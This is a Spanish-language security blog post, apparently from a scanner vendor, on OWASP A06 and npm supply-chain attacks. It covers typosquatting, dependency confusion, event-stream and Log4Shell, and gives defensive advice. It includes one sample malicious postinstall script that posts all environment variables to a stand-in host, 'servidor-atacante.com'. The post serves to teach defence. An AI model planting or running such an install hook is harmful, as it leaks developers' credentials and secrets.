OWASP A06 Componentes Vulnerables
OWASP A06 cubre componentes vulnerables y ataques de supply chain. Aprende cómo el typosquatting y paquetes npm maliciosos comprometen tu aplicación.
Rod
Founder & Developer
El proyecto JavaScript promedio tiene más de 1,000 dependencias si cuentas todo lo transitivo. Tú escribiste quizás 50 de ellas. Las otras 950+ vinieron de internet, mantenidas por desconocidos, algunos de los cuales ya no están activos.
OWASP A06:2021 — Componentes Vulnerables y Desactualizados cubre exactamente esto. Subió del puesto A09 en 2017 al A06 en 2021 porque el problema empeoró, no mejoró. Los ataques a la cadena de suministro de npm se convirtieron en un vector documentado. Log4Shell demostró que una sola librería en una dependencia transitiva podía comprometer medio internet. Y los conteos de dependencias por proyecto siguieron subiendo.
Esta guía explica cómo funcionan estos ataques, muestra ejemplos reales en código, y te da un checklist práctico para reducir tu exposición. Sin vendas de ojos — solo la mecánica y las soluciones.
Qué cubre realmente OWASP A06
OWASP A06 tiene dos problemas relacionados pero distintos bajo una misma categoría.
El primero son las dependencias desactualizadas con CVEs conocidos — paquetes que estás usando con vulnerabilidades públicamente documentadas. Este es el caso fácil. Alguien encontró el bug, le asignó un número CVE, publicó el fix. Tu trabajo es actualizar antes de que alguien use ese bug contra ti.
El segundo son los ataques a la cadena de suministro — paquetes maliciosos que llegan a tu node_modules por typosquatting, dependency confusion, robo de cuentas de mantenedores, o sabotaje deliberado. Estos son más difíciles porque no hay un CVE que te avise. El paquete se instala limpio, corre en tu máquina, y exfiltra datos o mina crypto en tu entorno de CI.
Ambas categorías mapean a CWE-937 (Uso de Componentes con Vulnerabilidades Conocidas) en la clasificación de OWASP.
Lo que duele específicamente para devs de JavaScript: el modelo de instalación de npm ejecuta código arbitrario durante la instalación de paquetes por default. Ese script postinstall en el package.json de una dependencia? Se ejecuta como tu usuario, con acceso a tu sistema de archivos, cada vez que corres npm install. Sin prompt, sin sandbox, sin verificación de permisos.
Vectores de ataque: cómo ocurren los compromisos reales
Typosquatting: un typo, una backdoor
En 2016, un investigador de seguridad publicó crossenv — un paquete con nombre casi idéntico al muy popular cross-env. El paquete malicioso recolectaba variables de entorno (incluyendo API keys y credenciales de base de datos) y las enviaba a un servidor remoto. Se descargó miles de veces antes de que npm lo removiera.
El ataque es simple. Un atacante encuentra un paquete popular, registra un nombre parecido, y espera a que los desarrolladores lo escriban mal.
# Paquete legítimo con 50M de descargas semanales
npm install cross-env
# Paquete con typosquatting — diferencia de un solo carácter
npm install crossenvOtros ejemplos reales que fueron detectados: babel-cli vs bable-cli, lodash vs loadsh, moment vs momnet. Las versiones maliciosas frecuentemente tienen funcionalidad básica que imita al paquete real — para que no fallen inmediatamente en tu app.
Aprende más sobre cómo funcionan los paquetes typosquatteados en nuestra enciclopedia de seguridad.
Dependency Confusion: atacando registros privados
En 2021, el investigador de seguridad Alex Birsan publicó una técnica que le generó más de $130,000 USD en bug bounties de Apple, Microsoft, PayPal, Shopify y decenas de otras compañías.
El ataque explota cómo npm resuelve nombres de paquetes cuando una empresa usa un registro privado (como Artifactory o GitHub Packages) junto con el registro público de npm.
Si tu paquete interno se llama @miempresa/auth y solo existe en tu registro privado, npm debería instalarlo desde ahí. Pero si Birsan publicaba un paquete público @miempresa/auth con un número de versión mayor, npm — dependiendo de tu configuración de registro — instalaba la versión pública maliciosa en su lugar.
// Tu package.json — estás usando un paquete interno
{
"dependencies": {
"@miempresa/auth": "^2.1.0"
}
}# Si la config de tu registro no está bien configurada,
# npm puede jalarlo de npmjs.com en lugar de tu registro privado
npm installEl fix es hacer scope a tus paquetes privados y configurar tu registro para que siempre resuelva paquetes con scope desde tu fuente privada. Ve nuestro análisis detallado de ataques de dependency confusion.
Scripts postinstall maliciosos
Los paquetes npm pueden ejecutar scripts arbitrarios al momento de instalación usando el campo scripts.postinstall en package.json. Los paquetes legítimos usan esto para compilar addons nativos. Los maliciosos lo usan para exfiltrar tu entorno.
{
"name": "utilidad-totalmente-legítima",
"version": "1.0.0",
"scripts": {
"postinstall": "node ./scripts/setup.js"
}
}Y scripts/setup.js podría contener:
// MAL: Así se ve un script postinstall malicioso
const https = require("https");
const data = JSON.stringify({
env: process.env, // envía TODAS tus variables de entorno
cwd: process.cwd(),
hostname: require("os").hostname(),
});
https.request({
hostname: "servidor-atacante.com",
path: "/collect",
method: "POST",
}, (res) => {}).end(data);Esto corre en el momento en que haces npm install. Tu NODE_ENV, DATABASE_URL, STRIPE_SECRET_KEY, ANTHROPIC_API_KEY — todo enviado a un servidor que nunca has visto. Sin prompt. Sin advertencia. Solo una instalación limpia en tu terminal.
Lee más sobre scripts de instalación maliciosos y cómo engañan las expectativas de los desarrolladores.
Paquetes abandonados y robo de cuentas de mantenedores
El incidente de event-stream en 2018 es el ejemplo canónico. Un actor malicioso convenció al mantenedor original del popular paquete event-stream de transferir la propiedad. El nuevo "mantenedor" agregó una dependencia llamada flatmap-stream diseñada específicamente para robar Bitcoin de la aplicación Copay.
El paquete tenía millones de descargas semanales. El código malicioso estuvo activo más de un mes antes de que alguien lo notara.
ua-parser-js en 2021 fue similar — una cuenta de mantenedor comprometida fue usada para pushear versiones que instalaban cryptominers y robadores de contraseñas via el script de instalación.
Lo que lo hace difícil: el paquete tiene un historial real, estrellas reales en GitHub, descargas reales en npm. No hay red flags obvias hasta que alguien analiza el diff entre versiones.
Los paquetes abandonados también valen la pena auditar — un paquete sin commits en 3 años y sin proceso de respuesta a seguridad es un riesgo aunque no haya sido comprometido aún.
Incidentes reales que deberían haber cambiado todo
Log4Shell (diciembre 2021)
Log4j es una librería de logging de Java usada en prácticamente todo. Una vulnerabilidad crítica de ejecución remota de código (CVE-2021-44228) fue divulgada en diciembre de 2021. Puntuación CVSS: 10.0 — el máximo posible.
La razón por la que esto importa para la conversación de OWASP A06: la mayoría de las organizaciones ni siquiera sabían que usaban Log4j. Era una dependencia transitiva — enterrada dentro de otras librerías, dentro de otras librerías. Los desarrolladores no tenían ninguna relación directa con ella. Nunca la eligieron conscientemente.
Este es el problema central con las dependencias desactualizadas: no puedes parchear lo que no sabes que tienes. El aviso de CISA sobre Log4Shell documentó que la vulnerabilidad afectó sistemas de Apache, Cisco, VMware y cientos de otros proveedores — todo por una sola dependencia indirecta.
Sabotaje de colors.js y faker.js (enero 2022)
Una categoría diferente de falla en la cadena de suministro: sabotaje intencional por el mantenedor original.
Marak Squires, el autor de colors (21M de descargas semanales) y faker (2.5M de descargas semanales), rompió deliberadamente ambos paquetes en enero de 2022 — generando basura en la consola para protestar contra el trabajo open source no remunerado. Si bien su frustración era comprensible, miles de proyectos se cayeron en producción de un día para otro.
Este no es un ataque de terceros — es una decisión del mantenedor. Tu lockfile te protege aquí (las versiones fijadas no se actualizan automáticamente), pero solo si tu proceso de deploy usa el lockfile de forma consistente.
Cómo se ven las dependencias vulnerables en la práctica
Correr npm audit contra un proyecto real te da un reporte así:
# Corre esto en la raíz de tu proyecto
npm auditfound 14 vulnerabilities (3 low, 8 moderate, 2 high, 1 critical)
# npm audit report
nth-check <2.0.1
Severity: high
Inefficient Regular Expression Complexity in nth-check
fix available via `npm audit fix`
node_modules/nth-check
lodash <4.17.21
Severity: critical
Prototype Pollution in lodash
fix available via `npm audit fix --force`
node_modules/lodashLos hallazgos high y critical necesitan atención inmediata. Los moderate y low merecen una revisión de severidad — algunos son teóricos para tu uso específico, otros no.
Una cosa que npm audit no detecta: paquetes maliciosos desde el inicio (typosquatteados, con dependency confusion, o comprometidos post-release). Para eso necesitas una capa diferente.
Cómo protegerte contra las vulnerabilidades OWASP A06
1. Siempre usa un lockfile
Tu package-lock.json (npm), yarn.lock (Yarn) o pnpm-lock.yaml (pnpm) fija cada paquete a una versión exacta más un hash criptográfico. Cuando tu CI corre npm ci en lugar de npm install, instala exactamente lo que probaste en local.
# MAL: Resuelve nombres de paquetes de nuevo cada vez — riesgo de drift de versión
npm install
# BIEN: Usa el lockfile exacto — mismas versiones, hashes verificados
npm ciSin lockfile, una nueva versión comprometida de una dependencia transitiva puede entrar silenciosamente a tu build de producción. Con lockfile, tienes que actualizar explícitamente para obtener versiones nuevas. Ese es el punto.
Lee más sobre lockfiles faltantes y por qué son un problema de seguridad, no solo de DX.
2. Corre npm audit y actúa sobre los resultados
# Revisa vulnerabilidades conocidas
npm audit
# Arregla automáticamente lo que se puede sin cambios breaking
npm audit fix
# Ve qué cambiaría antes de correrlo
npm audit fix --dry-runnpm audit no es una defensa completa contra la cadena de suministro. Solo detecta paquetes con CVEs publicados en la base de datos de avisos de npm. Pero es gratis, rápido, y detecta la categoría más común de hallazgos A06.
3. Automatiza las actualizaciones con Dependabot o Renovate
La auditoría manual no escala. Activa Dependabot en tu repositorio de GitHub bajo Settings > Security > Code security and analysis. Abrirá pull requests automáticamente cuando se descubran vulnerabilidades en tu lockfile, y opcionalmente en un horario para actualizaciones que no son de seguridad.
Renovate es una alternativa más configurable con mejor lógica de agrupación para monorepos.
El hábito clave: revisar y mergear estos PRs con rapidez. Un PR de Dependabot que lleva 6 meses abierto no sirve de nada.
4. Revisa los paquetes antes de instalarlos
Antes de correr npm install algun-paquete-nuevo, dedica 60 segundos a estas revisiones:
- ¿Tiene un repo real en GitHub? (revisa el link en la página de npm)
- ¿Cuándo fue el último commit?
- ¿Cuántas descargas semanales tiene? (los paquetes maliciosos suelen tener muy pocas)
- ¿El script de instalación parece sospechoso? (
npm show algun-paquete scripts) - ¿Es el paquete que buscaste, escrito exactamente bien?
# Revisa los scripts de instalación antes de que corran
npm show algun-paquete scripts5. Usa --ignore-scripts para paquetes no confiables
Si estás evaluando un paquete que no conoces bien, puedes instalarlo sin ejecutar sus scripts de instalación:
# Instala sin correr scripts postinstall, preinstall, install
npm install paquete-no-confiable --ignore-scriptsEsto evita que scripts postinstall maliciosos corran. El tradeoff: algunos paquetes legítimos necesitan sus scripts para compilar código nativo. Usa este flag con intención, no universalmente.
6. Fija versiones para dependencias de producción
En tu package.json, considera fijar las dependencias críticas a versiones exactas en lugar de usar rangos ^ (compatibles):
{
"dependencies": {
// MAL: Aceptará automáticamente cualquier versión nueva minor/patch
"express": "^4.18.2",
// BIEN: Fijado a versión exacta — actualizaciones requieren un cambio explícito
"express": "4.18.2"
}
}Fijar versiones intercambia actualizaciones automáticas de parches por control explícito. Para paquetes críticos de seguridad (librerías de auth, crypto, clientes de base de datos), el control explícito generalmente vale la pena.
Automatiza la revisión con Data Hogo
Correr npm audit manualmente es un buen comienzo. Pero no detecta paquetes abandonados, scripts de instalación sospechosos, lockfiles faltantes, ni dependencias desactualizadas que aún no tienen un CVE.
Escanea tu repo con Data Hogo → y obtén una auditoría completa de dependencias en menos de 60 segundos. El escáner revisa tu package.json y lockfile en busca de CVEs conocidos, señala dependencias sin mantenimiento reciente, e identifica lockfiles faltantes que dejan tus deploys expuestos al drift de versiones.
El plan gratuito cubre tus primeros 3 escaneos sin necesidad de tarjeta de crédito.
La verdad incómoda sobre tu node_modules
Escribiste unas pocas centenas de líneas de código. Tu carpeta node_modules tiene ~50,000 archivos de cientos de autores. Verificaste quizás el 5% de ellos.
Esto no es una crítica — así funciona el desarrollo moderno. El ecosistema de npm es genuinamente poderoso y la mayoría de los paquetes están bien. Pero OWASP movió esta categoría del A09 al A06 por una razón: los atacantes descubrieron que los desarrolladores confían en su árbol de dependencias mucho más de lo que merece.
Los fixes no son complicados. Usa un lockfile. Corre npm audit. Activa Dependabot. Dedica 60 segundos a revisar un paquete nuevo antes de instalarlo.
La alternativa es descubrir qué había en tu script postinstall de la manera difícil.
Preguntas frecuentes
¿Qué es OWASP A06:2021 Componentes Vulnerables y Desactualizados?
OWASP A06:2021 cubre los riesgos de usar componentes de software — librerías, frameworks, paquetes npm — que tienen vulnerabilidades conocidas o ya no reciben mantenimiento. Subió del puesto A09 en 2017 al A06 en 2021 porque la superficie de ataque creció con la explosión de dependencias open source. Una sola dependencia transitiva vulnerable puede ser explotada aunque tu propio código esté limpio.
¿Cómo funcionan los ataques a la cadena de suministro de npm?
Los ataques a la cadena de suministro de npm usan varias técnicas: typosquatting (publicar paquetes con nombres parecidos a los populares, como expres en lugar de express), dependency confusion (subir un paquete público malicioso con el mismo nombre que un paquete interno privado), comprometer cuentas de mantenedores legítimos, e insertar scripts postinstall maliciosos que se ejecutan automáticamente al instalar el paquete.
¿Qué es el typosquatting en npm y cómo me protejo?
El typosquatting ocurre cuando un atacante publica un paquete npm malicioso con un nombre parecido al de uno popular — cross-env vs crossenv, babel-cli vs bable-cli. El ataque depende de que el desarrollador cometa un typo al instalarlo. Para protegerte: siempre copia el nombre del paquete desde la documentación oficial, revisa las descargas semanales antes de instalar algo nuevo (los paquetes maliciosos tienen muy pocas), y usa un lockfile para que tu CI instale versiones exactas sin resolver nombres.
¿El lockfile (package-lock.json o yarn.lock) protege contra ataques a la cadena de suministro?
Un lockfile reduce significativamente el riesgo, pero no lo elimina del todo. Fija versiones exactas y sus hashes para que tu CI instale exactamente lo que probaste en local — no la última versión disponible al momento del deploy. Sin embargo, no te protege de un paquete malicioso que ya tienes en el lockfile, ni de uno legítimo que fue comprometido después de que lo fijaste. Igual necesitas correr npm audit y mantener las dependencias actualizadas.
¿Cómo reviso si mis dependencias npm tienen vulnerabilidades conocidas?
Corre npm audit en la raíz de tu proyecto. Revisa tus paquetes instalados contra la base de datos de avisos de npm y muestra vulnerabilidades con niveles de severidad y sus IDs de CVE. Para monitoreo automático, activa Dependabot en tu repositorio de GitHub — abre pull requests automáticos cuando se descubren vulnerabilidades en tu lockfile. Data Hogo también escanea tu package.json y lockfile en busca de CVEs conocidos como parte de un escaneo completo del repo.
Posts Relacionados
OWASP A03 Ataques de Inyección
OWASP A03:2021 Inyección cubre SQL, NoSQL, XSS, inyección de comandos y más. Código vulnerable vs. seguro en Node.js, un breach real, y cinco estrategias de prevención.
OWASP A05 Configuración Insegura
El 90% de las aplicaciones tiene alguna configuración insegura. Aprende qué cubre OWASP A05:2021, ve el código vulnerable vs. seguro en Next.js, y corrígelo ya.
OWASP A01 Control de Acceso Roto
El control de acceso roto es el riesgo #1 del OWASP Top 10. Esta guía explica IDOR, JWT tampering y rutas sin auth — con ejemplos reales en Next.js y cómo corregirlos.